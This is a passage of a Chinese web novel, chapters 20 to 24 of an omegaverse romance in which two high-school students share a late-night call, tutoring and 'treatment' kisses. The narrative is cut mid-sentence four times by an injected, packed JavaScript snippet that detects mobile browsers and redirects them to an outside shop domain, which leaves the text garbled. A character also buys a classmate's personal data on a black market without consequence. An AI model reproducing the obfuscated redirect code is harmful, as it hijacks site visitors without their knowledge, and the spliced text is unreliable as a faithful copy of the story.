手机掉在脚边响了好一会儿,隽云眼前视线模糊,手脚发软冰凉无比,攒了好些力气才摸到手机。 几乎没有细看是谁,颤抖湿滑的手指划过屏幕。 “喂。”一个低沉的声音在耳边响起。 20.第二十章 只有急促的呼吸声回应。 隽云双唇微张,薄红的眼尾上挂了一滴眼泪,他呆呆地举着手机附到耳边,漆黑的房间里,目光毫无焦距地不知道看哪。 始终没人说话,匙越看了一眼手机,确认没有挂断,他捏了捏眉心,感觉不对劲,于是压着嗓音轻轻问: “怎么不说话?不方便吗?” 不是。隽云张了张口。 “是不是不方便?”匙越磁性的声音透过电话传出来的声音有点失真,不像他本人的声音,透着一股温柔的味道: “喂?在听吗?” 匙越:“你不说话的话,我就先挂了?” “不......”略显粗粝沙哑的声音像破旧的风琴一样响起,只说了一个字就说不下去了。 不要挂。 匙越愣了一下。这是...... “你心情不好?” 隽云沉默着没说话。 手机在隽云耳边传递出匙越轻微的吸气声,就好像在他耳边说话: “好巧,我心情也不好。” “本来打电话是想问你一个事的,但是你心情不好,我就不问了。”匙越自顾自地说:“你应该想不到我现在在哪......” 在哪?隽云垂眸,神情寡淡地想,这个点,应该在家里吧。 仿佛在印证他的想法,下一秒匙越说:“我在陪我妈。” 陪妈妈...... 还真是在家里。 隽云强装镇定地吸了一口气,他心道,匙越和他爸妈感情真好...... 正常的家庭是怎么样的? 父慈子孝,慈母关爱,家里到处都是欢声笑语吗? 他怔然地看着地板,有些失落。 因为书里是这么写的。 匙越顿了顿,他犹豫了一瞬,说:“我来是为了告诉我妈今天我和我爸见面了,毕竟,我妈在怀上我之后就再也没见过我爸了。” 什么...... 父母离异了吗? 隽云靠着门边,湿雾一样蒙蒙的眼睛听到最后一句话的时侯有些意外。 看来......他的家庭似乎也并不像他以为的那么好。 不知道匙越在一个什么样的地方,隽云听到了一些虫叫的声音,还有树枝折断的清脆响声。 有点奇怪,不是在家里吗? 匙越踩着枯枝落叶,就近找了一根纤细的狗尾巴草,折断了,坐下,长腿大刺啦啦地敞着,狗尾巴草被捏着茎拿在手上左右转两下,驱赶飞近的蚊虫: “我爸今天呢,难得夸了我,还说要认回我,你说我是该高兴,还是不高兴呢?” 应该是值得高兴的吧。 隽云大脑有点昏沉地想。 匙越一双墨色的眼眸沉沉,眉目透着狠厉,说出来的话却是刻意轻快的: “我爸说好久没看到我了,又长高长帅了,他没想到我还当上星耀中学的学生代表了,为我感到高兴。” 好自恋啊......隽云嘴角微微扬起,一边听着他说话一边调整自己的呼吸,小口小口地喘气。 匙越抬头,周围树影重重,没有光线,只能凭借月光辨别方向,他的声音轻了些: “你看,今晚的月亮。” 隽云便转头看向他卧室里的阳台,遮阳的厚重窗帘被拉至最里面,外面一层白色的纱帘随风轻轻飘起,再往天上看,一轮近乎饱满圆圆的月亮挂在天上,清亮的月光洒向人间。 “看到了吗?” 隽云的嗓音紧绷:“嗯......” 匙越低声:“所以啊,不要不高兴了,月亮看了会伤心的。” 两人说了很久的话,大多都是匙越在说,隽云回的不多,偶尔“嗯”一下。 直到,好久没听到回应,手机另一边传来轻微的绵长呼吸声,匙越哑然失笑: “你是睡着了吗?” 对面的呼吸声轻柔,手机应该是放在脑袋边了,空气静谧,对面的人没有回应。 看来真的睡着了。 匙越从来没有给别人打电话打这么久过,更别说把对面的人说睡着了的经历。 在跟父亲的短暂聚会结束后,他独自一人来到城郊,找到他妈妈的墓地坐了很久,久到他想找个人说说话。 找了一会儿,他拨通了隽云的号码——他查过他。 东城区生活的人鱼龙混杂,地下交易底下买卖数不胜数,他有一批自己的手下,在东城区这种黑市买到隽云父母的信息还有隽云的手机号自然也不难。 只是因为突发奇想,想要听到隽云的声音。 所以打通了这个电话。 他甚至已经找好了借口,准备问一下今天的作业有哪些、学生代表平常要做什么、你明天什么时候有空...... 只是没想到最后聊了这么久,准备的话题一个都没说。 听了一会儿起伏规律的绵长呼吸声,匙越挂断电话,他这时才注意到有个人一个小时前给他发了消息。 没有备注姓名,只有一串手机号的消息来信:“他愿意让你回去吗?” 匙越眉目沉沉,幽幽的手机蓝屏光线照在他下颌锋利面部线条清晰的脸上,照出一丝狠厉和阴鸷。 —sy1011:没有,闵术他妈不同意。 而后那人发来一串怒骂,匙越的表情冷峻,他下了命令。 —sy1011:不管她,提前动手。 * 清晨的阳光洒落在白色柔软的被子上,一个人影在床上蜷缩着,呼吸平稳,眼睑紧闭,直到他的睫毛颤颤。 隽云皱了皱眉,闭着眼迷迷糊糊地心想。 现在几点了? 说不清多久没睡一个好觉,梦里他没有做什么梦,一觉天光大亮。 意外睡的还挺舒服。 好像只是有点累了,闭上眼,耳边有人轻声细语和他说话,让他什么都没来得及想,等到再次睁开眼睛时,已经天亮了。 揉了揉眼睛,隽云缓了一会儿,散漫地想,昨天晚上,他好像在和一个人通电话....... 对了,电话...... 揉眼睛的手顿时就凝滞住了。 等等,他和谁打电话? 好像是......匙越!? “......” 隽云立马清醒过来,在床上找手机,找半天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16511502|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没找到,直到摸到枕头底下才找到不知道什么时候被自己推到角落的手机。 看了一下屏幕,还没七点。 解开锁屏,他翻出昨天的通话记录,上面显示他在晚上九点半的时候和一个陌生手机号码打了三小时的电话。 看到时长,隽云拿着手机的手指微微蜷缩了一下。 这是他在发现自己有睡眠障碍后,第一次没有靠吃药睡着了,也是第一次没有半夜惊醒后吃药入睡。 手机丢在床上,隽云翻躺在床上看着雪花的天花板,几缕头发扬起,他抬手,将手臂横挡在额头上,挡住眼睛。 一种尴尬羞耻的心理盘旋而上。 纯棉白色T恤因为这一个动作露出来一截白皙紧致的腰肢,细瘦的腰肢扎入了浅灰色的松紧裤之中,不同于往日冷冽的气质,显得整个人都显得柔和起来。 他就这么躺在床上,开始胡思乱想地推算起和匙越接吻的时间。 医生说过,通过每天获取一定量的alpha信息素,治疗一个月他的病就能治的差不多了。 现在想想,已经有差不多大半个月了...... 也就是说, 等这周周末过完,他们就可以恢复到正常的同学关系了。 正常的同学关系...... 隽云半阖着眼睛怔了怔,正常的同学关系是怎么样的? 匙越是社会招考生,家境不好,而自己跟他能做到的也仅仅是井水不犯河水。 那......以后还能这么打电话吗? 手机在被子上传出震动声,隽云心里想着事,他慢吞吞的把手伸过去摸索。 黄色的小胖猫锁屏很快就被打开,隽云看到消息那栏有一个红色的红点,他点开,上面是匙越发来的消息。 “......” 怎么是匙越。 真是想什么来什么...... 一种逃避的心理可怕地迅速膨胀占领了他的意识,他不想看到这个人的消息,偏偏他发来的消息一下就占据了他的视线。 —sy1011:呆萌小狼从远处朝近处走来.jpg 似乎在缓和气氛似乎又在提醒他什么,匙越发了个表情包过来,隽云一愣,很快,匙越又发了消息过来: —sy1011:今天什么时候有空?我们见一面。 这是在提醒他今天什么时候接吻...... 手机“啪嗒”一声掉下去,隽云拉过被子高举过头顶,把自己闷在被子里,闷了好一会儿,才从被子里伸出一只手,把手机抓进来,在被窝里回消息。 被窝里气温急剧升高,他回消息的口吻很冰冷。 —云:中午。 又闷了一会儿,好半响,他才呼出一口气,掀开被子,耳朵尖很红。 他揉了揉头发,起身,顶着一头卷翘乱糟糟的头发进了卫生间洗漱。 算了,不想那么多了。 等到再拉开门的时候,已经是一个穿着精致熨烫服帖的校服,头发打理柔顺的男生了。 隽云拿起挂在门口的外套穿上,对着门口的全身镜面无表情地理了理衣领,然后一丝不苟地背着方正的书包出门了。 21.第二十一章 到学校的时候还比较早,课代表来收作业。 开学还没多久,他们的作业不多,对隽云来说也不难,所以有空的话会争取在课间的时候做完,来不及写完才会带回家做。 隽云从书包里找到作业递过去,然后打开了一本很厚的法语投资学书,开始看了起来。 早上几节课很快过去,期间隽云还抽空请了一节课去参加模拟联合国活动,回来的时候从后门进教室,隽云瞥了一眼第一排最后一个座位,那里没人。 等到中午放学,文强和陆思华问他要不要一起吃饭。 “可以。”他把书本整理好然后起身跟着他们往外走。 出后门的时候,他看了一眼靠门位置的座位,依旧没有人,但是书包还放在椅子上。 说明匙越中午放学了还没有走,不过一个早上都没看到人,中午也没回去,不知道去哪里了。 文强也跟着看过去:“嚯,这社会招考生还真是够胆子大的,这才开学两个星期吧,就直接旷课了?” “贵人都忙。” 说不清是嘲讽更多还是不在乎更多,陆思华紧接着才说:“早上有学生会的人来找匙越。” 文强这才想起来一拍脑袋:“对哦,下周有一个国际智能机器人比赛要和其他学校联合举办,他这几天得忙死了。” 正巧,教室里有另外一个人走出来听到他们的对话,他跟文强交情不错,搂了一下文强的肩膀,说: “记得下周一翘课来看我比赛。” “去去去,我才不翘课!”文强把他推开:“就你那水平还参加什么国际赛?别给爸爸丢脸。” ...... 高三一班的班级在三楼,三楼有一座通到食堂的透明廊桥,三个人并肩走在玻璃廊桥上,不少人偷偷看向他们。 文强非常得意,手放脑袋后面整个人流里流气地走着:“说起来,今天还是我们哥仨第一次高中一起吃饭吧?” 陆思华:“高一那两顿狗和我们吃的。” “对噢,我们高一也一起吃过!”文强一拍脑袋,才反应过来,笑骂:“我去你妈的你骂谁是狗!” 隽云走在他们中间,嘴角忍不住扬起。 就在这时,他的肩膀忽然被人撞了一下,他侧过脸看去。 是一个头发色棕黄皮肤雪白的男omega。 是他们班的人,叫闵术。 让隽云有记忆点的人不多,除非长的很特别,比如说班长脸上的那颗黑痣,再比如说天天在他面前刷脸的匙越。 还有一种可能就是超高的家庭实力财力社会地位,经常参加名流宴会上认识寒暄,以至于隽云记得他长什么样。 闵术就属于这类人,他爸爸所开的荣华公司是为数不多在A国能够与铭升进行竞争的企业。 铭升集团旗下涉及到的领域众多,有口碑有实力,但是近几年呈现式微之势,而荣华早几年垄断了整个A国的芯片制造产业,近两年又开始进军房地产行业,两家企业正面对上,在各种项目上暗暗较劲。 作为子女,隽云被家里人提醒过要和班里的闵术保持距离,所幸这位闵术也似乎并不想与他交好,与他几乎没有说过话。 “诶那不是闵术吗!”文强低头,神神秘秘地停下脚步,把他们聚在一起,小声说: “等会告诉你们一个超劲爆的消息......昨天我家的记者偷拍到了匙越他爸私会私生子,哇去!他爸居然还有私生子!” 文强家里是A国出了名的娱媒日报,标题向来夸张,内容时效性强,旗下狗仔众多,主打一个偷拍真实,在各种线上新闻媒体、线下纸质报刊里地位很高,很受观众追捧。 像他们这些有权有势的家庭,往往家里都不止一个孩子,如果他爸妈哪天爆出来有个孩子他都不会很惊讶,只会觉得这一天终于来了。 于是隽云不是很在意地问:“有正脸照吗?” “没拍到私生子但是拍到闵叔叔的正脸照了,啧啧......”文强颇为同情的看着闵术瘦弱的背影,啧啧道: “自己的老爹突然爆出在外有个私生子,换谁恐怕都不太好受。” “私生子。”陆思华缓慢念了一下,嗤了声:“那又怎么了?成不了什么事。” “那倒也不是......”文强想到就气:“私生子出现就够恶心的,老子的财产还要分他一半。” “搞得我都不知道我爸有没有小三了......”不过他很快就释怀了:“不过要是我大爸找了小三还生了个私生子,我小爸一定不会放过他的,这点倒是不用我担心 。” 文强自小生活在一个幸福的家庭,有一个alpha爸爸和omega爸爸,爸爸们是互相喜欢据理力争而结的婚,他还有一个alpha姐姐,一家子在上层圈子里是难得的幸福和谐。 因而也培养出了文强话唠傻乐,还有点缺心眼的性格。 隽云看了他一眼,眼睫一垂,透过透明的玻璃地板看向楼下往来的人群。 其实有时候也挺羡慕他的。 等到吃完午饭,隽云看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16515791|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手机,他半个小时前给匙越发的消息还没有回。 隽云又发了个问号过去:? 陆思华把筷子放下,拿起餐巾优雅的擦了擦嘴,然后问: “你在给谁发消息?” “没谁。”隽云说。 文强毫不留情地拆穿:“十分钟你看了三次手机了,三次啊......” 他凑近,认真道:“隽云,你该不会是跟叶馨言谈恋爱了吧?” 隽云想把自己的餐盘扣在他的脸上,但迫于良好的教养,他微微一笑,脸上神色都生动起来,在文强期待的目光中冷冷地吐出一个字: “滚。” “呜呜呜呜......”文强顿时朝陆思华的方向滚去:“陆思华,小云云居然叫我滚,他嫌弃我~” “走开。”陆思华手背一挡,把他推了回去:“我也嫌弃你。” “你们狐朋狗友,沆瀣一气......” 就在这时的隽云的手机突然弹了个消息出来: —sy1011:我在教室等你。 隽云回了个ok,他起身:“我吃完了,有事,先走了。” “哎,隽云你到底是什么事儿啊总这么忙?你该不会真跟叶馨言谈恋爱了吧?” 陆思华也看向隽云,隽云木着脸解释:“没有,没谈恋爱,也不是叶馨言......别问了。” * 星耀中学有宿舍学生们大多中午不回去的会在宿舍睡午觉,因而,过了饭点,已经没有什么人在教室继续学习了。 等隽云一踏进教室就看见坐在椅子上看书的少年,中午的阳光很好,透过窗台被切割成好几块投影在桌面地面上,整个教室十分亮堂,两面窗户大多数是开着的,风将教室里摊开的纸张吹的翻动出声响。 少年穿着白色衬衫校服,背脊挺直,头微微低着,额前的发丝被风吹起来,他神色认真地在看书,隽云瞥见了内容,大概是数学课本,他看的是今天上课讲的内容。 从后门进的教室,他走路声音很轻,但是匙越还是发觉了,他抬头,揉了揉后颈,声音低哑: “来了?” 隽云的手垂至两侧蜷缩了一下,不知道为什么,他会有点紧张。 隽云的语气很冷淡,脸绷着:“速战速决。” 匙越揉后脖颈的手一顿,然后转过来看他,少年眉眼神色干净,墨黑色的眼眸盯着他,然后忍不住弯了弯。 “什么速战速决?” “不是你叫我过来......”亲嘴的吗? 22.第二十二章 多的那几个字收束在喉咙里卡紧了没有说出来。 其实,匙越也没说中午见面是为了接吻,是他自己把私下见面和接吻划上了等号。 “不是这件事......”匙越笑了一下:“但是如果你想,我也不介意。” “......”他才不想。隽云闭了闭眼,睁开,压了压脸上的热度:“那到底是什么事?” 匙越说:“今天早上学生会那边有事,我去了好几个学校沟通赛事,还有确定场地,所以早上我不在学校。” 所以呢? 和他汇报什么行踪。隽云移开视线,干巴巴说:“哦。” “所以,早上的课我没听,想让年级第一帮我补补课。”匙越慢条斯理地说。 补课?隽云一怔,还真挺正经的。 高三举办的赛事和展会、辩论赛、高校联合活动会比较多,作为学生代表代表自然事情会多一点。 社会招考生成绩都很好,但是他还不知道匙越的成绩好是怎么个好法。 都不来上课,到时候考试肯定也好不到哪去吧。 想了想,隽云还是拉开了旁边那套桌椅的椅子:“行啊,我教你。” 铁制的椅子在地面摩擦发出了尖锐的滑响,隽云拉着椅子坐到匙越旁边,他坐下,把他桌面上堆在一起的书里抽出来几本。 “今天早上上了四节课,一节中西比较文学课一节国内历史演变一节投行估值建模一节人类未来发展探索......” 隽云抽出一本文学课本,上面的字是《中西比较文学》,还有发下来的配套资料。 他拿起一只铅笔,根据老师所说的重点内容在课本上做了一些标记,浅浅讲了十几分钟后,他抬眼问匙越:“你听懂了吗?” 隽云哪怕是坐着,坐姿也十分端正,背脊挺直,校服版正地穿在身上,一只手食指和中指细白修长,压在纸上,另一只手捏着黑笔在纸上轻划打圈,很具有观赏性。 匙越打量的视线收回来:“会了。” 隽云问他:“真的吗?” 见匙越点头,隽云这才满意,觉得孺子还是可教的,没有枉费老师的一番心血。 他把桌上的一套练习题资料打开,告诉他:“这两页是今天的作业,你记得做。” 然后他抽出了第二本书,开始对今天老师上课的重点内容进行回顾。 学校钟楼的整点钟声响了一遍。 匙越意识到一个问题,他问隽云:“今天中午也不回家吗?” 昨天也看到他没回去。 隽云“嗯”了一声,低着头写字:“之前我和我爸妈申请在学校吃午饭,中午也可以留在学校不回家了,他们同意了。” 匙越:“这样啊。” 隽云的眼尾细长,他眼皮一掀:“你要回家吗?” 隐隐约约,昨天模糊的记忆里,匙越似乎在电话里说他爸夸了他,他很高兴? 但是他爸妈似乎已经离异了,他跟着他妈妈生活。 于是隽云笔尖一顿,问他:“中午不回去陪你妈吗?” 毕竟昨天打电话来的时候是说在陪妈妈的。 他和他妈妈感情很好。隽云心想。 匙越笑了笑,摇头,另一只手点了点书上另一个专有名词,问他:“这个是什么意思?” 隽云解释了一遍之后,给他画了一些重点:“这些属于重点句子,到时候应该是要考的,你记一下。” 匙越点头,一本正经地说:“好的,辛苦隽老师了。” “......” 快速过了一遍知识点后,隽云说:“第三节课我请假了,我也没听课,你问问其他人吧。” 匙越问他:“你去哪了?” 关他什么事?怎么像在查岗。 隽云啧了一声,觉得他很烦,他说:“模拟联合国辩论赛。” “这样啊。”匙越点头,表示他知道了:“那行。” “......”隽云说:“最后一节课不是很重要,老师上课的主要内容是第一章第二节,你自己看书应该也能学会,我就不讲了。” 那就讲完了。 匙越骨节有力的手指一合,笔帽就盖在了笔尖上,他说:“行,谢谢隽老师。” 隽云还坐在椅子上没动,他犹豫了一下,突然想起来一个事情: “那个......你学费交了没有?” “嗯?”匙越问:“怎么突然问这个?” 隽云起身,去自己的座位拎起他的书包,拉开拉链,从最里面的夹层里掏出一个薄薄的卡夹,然后将里面一个黑金色的卡抽出来。 他把那张卡反手递给他,没看他,说:“我的其他银行卡都被监视了,只有这张是在我自己名下且不被知道,里面只有一百八十万,你先拿去垫学费,多的就当是我用了你信息素的补贴,以及封口费。” “还有昨天......”隽云拿着卡片往后递了一点,他看着前方,脸色有点不自然:“谢谢你了。” 谢谢他昨天没有在电话里追问他怎么回事,不然那时隽云可能会很难堪也回答不上来,直接挂掉就没有后面的一夜好眠了。 所以作为报答,他帮他解决一些燃眉之事,也不是不可以。 久久没人接,隽云一转身,发现匙越正看着他,墨黑的眼眸沉沉。 隽云:“怎么了?” 纤细手腕冷不丁地被一只大手捏住,隽云低头,匙越的手掌掌心带茧,指间粗糙还带着细小的伤疤,小麦色粗粝的手宽大温厚,与他白皙的手腕形成的明显肤色差让他心头一跳。 匙越:“介不介意我先付一下今天的信息素?” “什么!?” 隽云那只手腕被往前拽了一下,他整个人被拽的往前走了一步,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16521958|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后腰被托住,眼前的阴影落了下来。 太突然了。 唇上传来一阵温触,匙越碰了碰他的唇。 隽云的瞳孔一缩,手心抵在匙越的腹部,下意识要把他往外推。 “唔......” 匙越却捧住他的脸,把二人距离拉的更近了。 他穿的很少,夏季的校服单薄,白色的校服之下是块垒分明的腹肌,温热的肌肉触感分明,热度透过校服单衫传递到隽云的掌心上。 感觉到唇缝被舔了一下,隽云睁大了眼睛。 匙越的鼻息喷洒在脸上,侵略性的亲吻混着浓烈的白兰地信息素味道席卷进来。 隽云眼睛睁着,脑海还未做反应身体就进一步熟悉了这个气息并接受了,他下意识张口,匙越便毫不客气地长驱直入,袭入他的齿贝。 “唔!唔唔......” 温热湿滑的舌尖圃一相触,隽云的手脚发软,指尖捏着的东西再也捏不住了。 “啪嗒”黑金色的卡片掉落在地,匙越捧着他的脸,逐渐深入,隽云手脚发软,头往后仰,鼻腔口腔整个身体都染上了匙越的气味,被萦绕,被包裹。 温热的舌尖轻轻搅动他的舌尖,温润醇厚,带来一阵过电一样的酥感,有点舒服。 隽云在迷迷糊糊中心想,不对,他记得匙越一开始的接吻技术并不是这么好的。 总之,一开始,他觉得双方大约都认为很难堪、很僵硬,很难熬,很尴尬。 第一次约在了东城的一个小巷子里,他们不熟,是隽云先特地抽出时间问他在哪里见面,得到的回复是让隽云来东城区找他。 碰面后他们尝试了很久,一开始头撞到他的下巴了,于是匙越的手盖在他的额头,腰再弯低了点,才碰到嘴。 亲了一会儿快速交换了含有信息素的唾液就分开了,然后互相都没有看对方。 隽云耳朵通红,冷酷地看着地面通知他说今天就这样吧,然后就飞快走出巷子回家了。 第二次依旧是在城东的一个小巷子里,依旧是飞快亲完分开,但是两人有了对话。 匙越问他这样行不行。 隽云僵硬地点头,结巴了一下说还可以吧也就那样,然后他们分开,甚至很不熟地连再见都没有说。 第三次,不到一分钟的接吻完毕后,半响,匙越看着他不小心被磕到的嘴角,哑着声音说破了,戴个口罩回去吧。 他呆呆说好,于是那天他戴着匙越给他买的口罩回去...... 回忆总是十分兵荒马乱,隽云眯着眼还没想明白到底是哪一天开始匙越的接吻技术开始突飞猛进的,他就被咬了一口舌尖。 “嘶......” 匙越稍微分开了一点,气息喷洒在他的脸上,很热,他似是被气笑了,声音很磁性,带着说不出的性感: “能不能专心一点?” 23.第二十三章 此话一出,隽云顿时抬眼看他,二人对视。 半响,匙越轻笑了一声,补了一句挽回场面的话:“还要不要治病了?” 对,只是为了治病而已。隽云心想。 他们二人在教室待太久了,隽云有点担心会被人撞见,生硬地说:“......应该已经够了吧。” 匙越看着隽云,他薄薄的眼皮泛着红,一双眼睛不自知地水漉漉地看着他,自以为很冷漠嘴硬地模样,实际上只有匙越知道他的嘴唇有多软。 “还不够。”他抬手,遮住了他的眼睛,气息拂在他的脸上:“别这样看着我。” “我......”怎样看着你了? 黑色笼盖住隽云的视线,炙热的掌心虚虚笼在他的眼睛上,隽云双唇微张,有些迷茫,他能感觉到匙越在向他靠过来...... 就在这时,走廊上突然远远传来走路的声响还有交谈声: “诶,你记性也太差了,我还得陪你来教室拿东西。” “哎呀抱歉抱歉......” 怎么会...... 有人来了...... 隽云猛地攥住他的校服领带,把他拽下来。 星耀中学的校服都有领带系在领口,是统一的红底橙白斜纹制式,此刻匙越的校服领带被隽云绕在手上,狠狠拽着,生怕他起身会给人看到,匙越也十分配合地蹲下来,顺势往他手里的力道向他倾斜过去。 就在隽云打算把他覆在眼睛上的手拿下来的时候,温热的气息凑了过来,碰了碰他的嘴角,发觉到隽云整个人都僵硬在原地。 “爬楼梯真累啊......” “爬个三楼你都嫌累......” “什么时候让你妈给学校捐个电梯啊。” 说笑的声音经过教室外面。 教室里许多人都在桌子侧面挂书包或者是一些挂件,有的人甚至把书本不放在课桌也不放在桌面上,而是垒得高高的,堆在桌子旁边。 在层层叠叠的遮挡下,他们二人蹲在桌子旁边,隽云一只手拽着他的领带,眼睛被遮住,他的头微仰着,承受着来自alpha的信息素给予。 或许幸好经过的那两人都是beta,没有闻到什么特别的味道。 酸涩的橄榄清香与醇厚香甜的白兰地酒交融,隽云仰着头脖颈修长绷成一条线,覆盖在大掌之下长而蜷曲的眼睫毛不断眨着,刮的匙越的掌心有点发痒。 “唔......” “唔......好了......” 有一丝唾液从二人相贴的唇缝中滑了下来,隽云嗡嗡的脑子里终于回了一丝清醒的神志,他费劲地推开他一点: “好了......不、不要了......” 他被信息素勾的松软发麻的手指终于生出一丝力气,摸到匙越挡在他眼睫前的手,拿了下来。 匙越和他距离很近,盯了他几秒,才擦去他嘴角的唾液丝。 隽云睁开眼睛,打开他的手,清晰地感觉到他此刻的心跳很快,呼吸还没有平复下来,他偏过头去。 “你生气了吗?”匙越看了他半响,突然说。 隽云平缓了一下呼吸,他拿袖子擦了一下嘴唇,力度有点大。 说实话有一点生气,今天的事情超出了他的预料。 本来是想和匙越速战速决亲完就走人的,点到为止,这样不会被任何人发现。 结果莫名其妙地,在这里当老师辅导了他一个半小时,还和他躲在这里接吻...... 走廊外面现在听不到别人的声音了,应该已经走了。 隽云唇色殷红,面色冷淡,攥住他的领带的手有了点力气,绕了个圈,缠在手腕上发力,把人拉近了。 领带被拉扯导致领口收紧,匙越感觉到脖子被勒压,只见隽云鼻尖贴着他的鼻尖,单眼皮的眼睛睁圆了,显得瞳孔圆润黝黑。 他的眼尾上扬,透着点平常不会出现的薄红,声音冷冷带着威胁地警告: “以后不许在教室里亲我,被发现关系的话你就死定了,听到了没有?” 距离近了,匙越才看到他的鼻尖上有一颗很小的痣,和他抵着鼻尖,因为没听到他的回应,鼻头都皱了。 匙越垂眸扫了眼他篡紧的手,还有因为使力而突出的格外明显的掌指关节骨,清清凌凌,手也小。 匙越默了一瞬,随即扬了扬眉,对他的话颇为赞同地点了点头:“我也这么觉得。” 还算他识时务。见他很上道,隽云冷哼一声,不欲多言地松开他,拍了拍他的肩膀,从地上捡起掉了的那张黑金卡,夹在指间递过去: “拿好,给你的补偿。” 匙越稍微整理了一下皱巴的领带,隽云递过来的手白皙修长,指甲修剪齐整圆润,整个人干干净净,就这样递过来一张卡要给他钱买断这一个月的往来关系。 跟包养一样。 什么肮脏的交易关系。 想到这,匙越短促地笑了一声:“钱就不用了。” “学费还是交的起的,至于我们俩的事,属于互相占便宜,不用给我钱。” “收着吧,毕竟用了你的信息素。” “不用。” 见隽云还是要给他卡,匙越仰头看了看天花板,呼出一口气,他低头,淳淳善诱说:“那这样吧,你答应我一个条件,这事就扯平了,怎么样?” “什么条件?” 匙越想了想,不过暂时想不出来。 他不缺钱,也不缺什么其他的东西。 隽云皱眉:“这一百八十万你要不然还是......” 没有什么对社会招考生来说比一百八十万还要诱人了,毕竟他们一般来说,最缺的就是钱。 当然却没有等他说完,匙越干脆利落地决定好了:“我想到了,周末你来我家玩。” 感觉是随便找的一个条件。 “什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528246|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”隽云怀疑自己听错了。 “嗯。” 他去他家? “你......你有什么目的?” 他狐疑地打量匙越,没记错的话,这个人住在东城区,他爸妈应该也在东城区,为什么要他一个omega跟他回去? 东城区人口环境都很复杂,omega在当今社会人群占比比较低,一个omega在黑市可以卖到几千万的价格,他该不会不接他的卡,是为了把他...... 骗过去卖掉? 匙越笑了:“你这是什么眼神,怕我把你卖掉?” 隽云不承认,他矢口否认很快地说:“没有。” “我只是因为太久没回去了,家里黑黑的......”只见匙越眼睫一垂,肩膀松下来,看起来有点可怜:“我怕鬼。” 隽云:“......” 他脸色很复杂地看着匙越,从头打量到脚。 这人比他高一个头,但是怕猫还怕鬼,还容易被人欺负,这么高这么壮的个头打不过别人。 他到底是怎么长到这么大的? 隽云:“你妈呢?” 匙越说:“我妈不在。” “那你爸呢?” “他没去过。” 噢,对,隽云恍然想起,他爸妈好像离婚了...... 隽云抿了抿唇,觉得自己似乎总是在揭他伤疤:“不好意思。” 这么有礼貌。 匙越笑了一声:“为什么道歉?” “因为总是提到一个对你来说不好的话题。”隽云实话实说。 匙越看着他,突然想揉揉他的头发。 和上次他丢掉那封别人给他的告白情书的时候一样,隽云会说他这样的行为不对。 这个人总是有着极度的坦诚和礼貌。 “你真的是......”还蛮可爱的。 后半部分的话迟迟不说,隽云疑惑:“你想说什么?” “没什么。”匙越颔首:“既然抱歉的话,周末去我家玩吧。” 隽云缓缓眨眼,其实去一趟也不是不行...... 之前他连续大半个月每天都会让司机带他逛一圈城郊,他爸妈也没说什么。 城东的那一小块地是铭升和荣华集团交锋的重点项目,各大财经报纸及各类电视节目竞相刊登,隽云身为隽家小少爷专程去那边逛逛,也说得过去。 只是司机很纳闷,为什么经过一处小巷时,隽云总是要求下车停个几分钟。 而现在隽诉和元青更是放松了对他去向的拦截,他想去哪里、待多久已经不再受到管制,不用再专门找一个合理的借口。 去也不是不行。 隽云答应了匙越:“可以。” 周天刚好就是最后一次有越界行为了,过了下周,就满一个月治疗期,在那之后他们就是陌生人,从此井水不犯河水。 只是他没想到,那天他发情了。 24-30 第24章 第二十四章 “发情了。” 周末的发烧来势汹汹, 让隽云措手不及。 周六上午就开始出现发烧症状,他在床上躺了一整天,头晕脑涨, 连带着忘记去找匙越接吻拿信息素了。 周天依旧在发烧,起床的时候已经十二点了, 情绪莫名焦躁,体内隐隐虚空,感觉很想要得到什么东西, 但是他也不知道他到底想要什么。 信息素控制不住地泄出了一点, beta佣人送来午餐之后,隽云胡乱吃了一点, 紧接着又吃了一些退烧药。 大概是退烧药起了一点作用,他感觉没有那么晕了。 眼前勉强能视物,他拿过手机看了一眼消息, 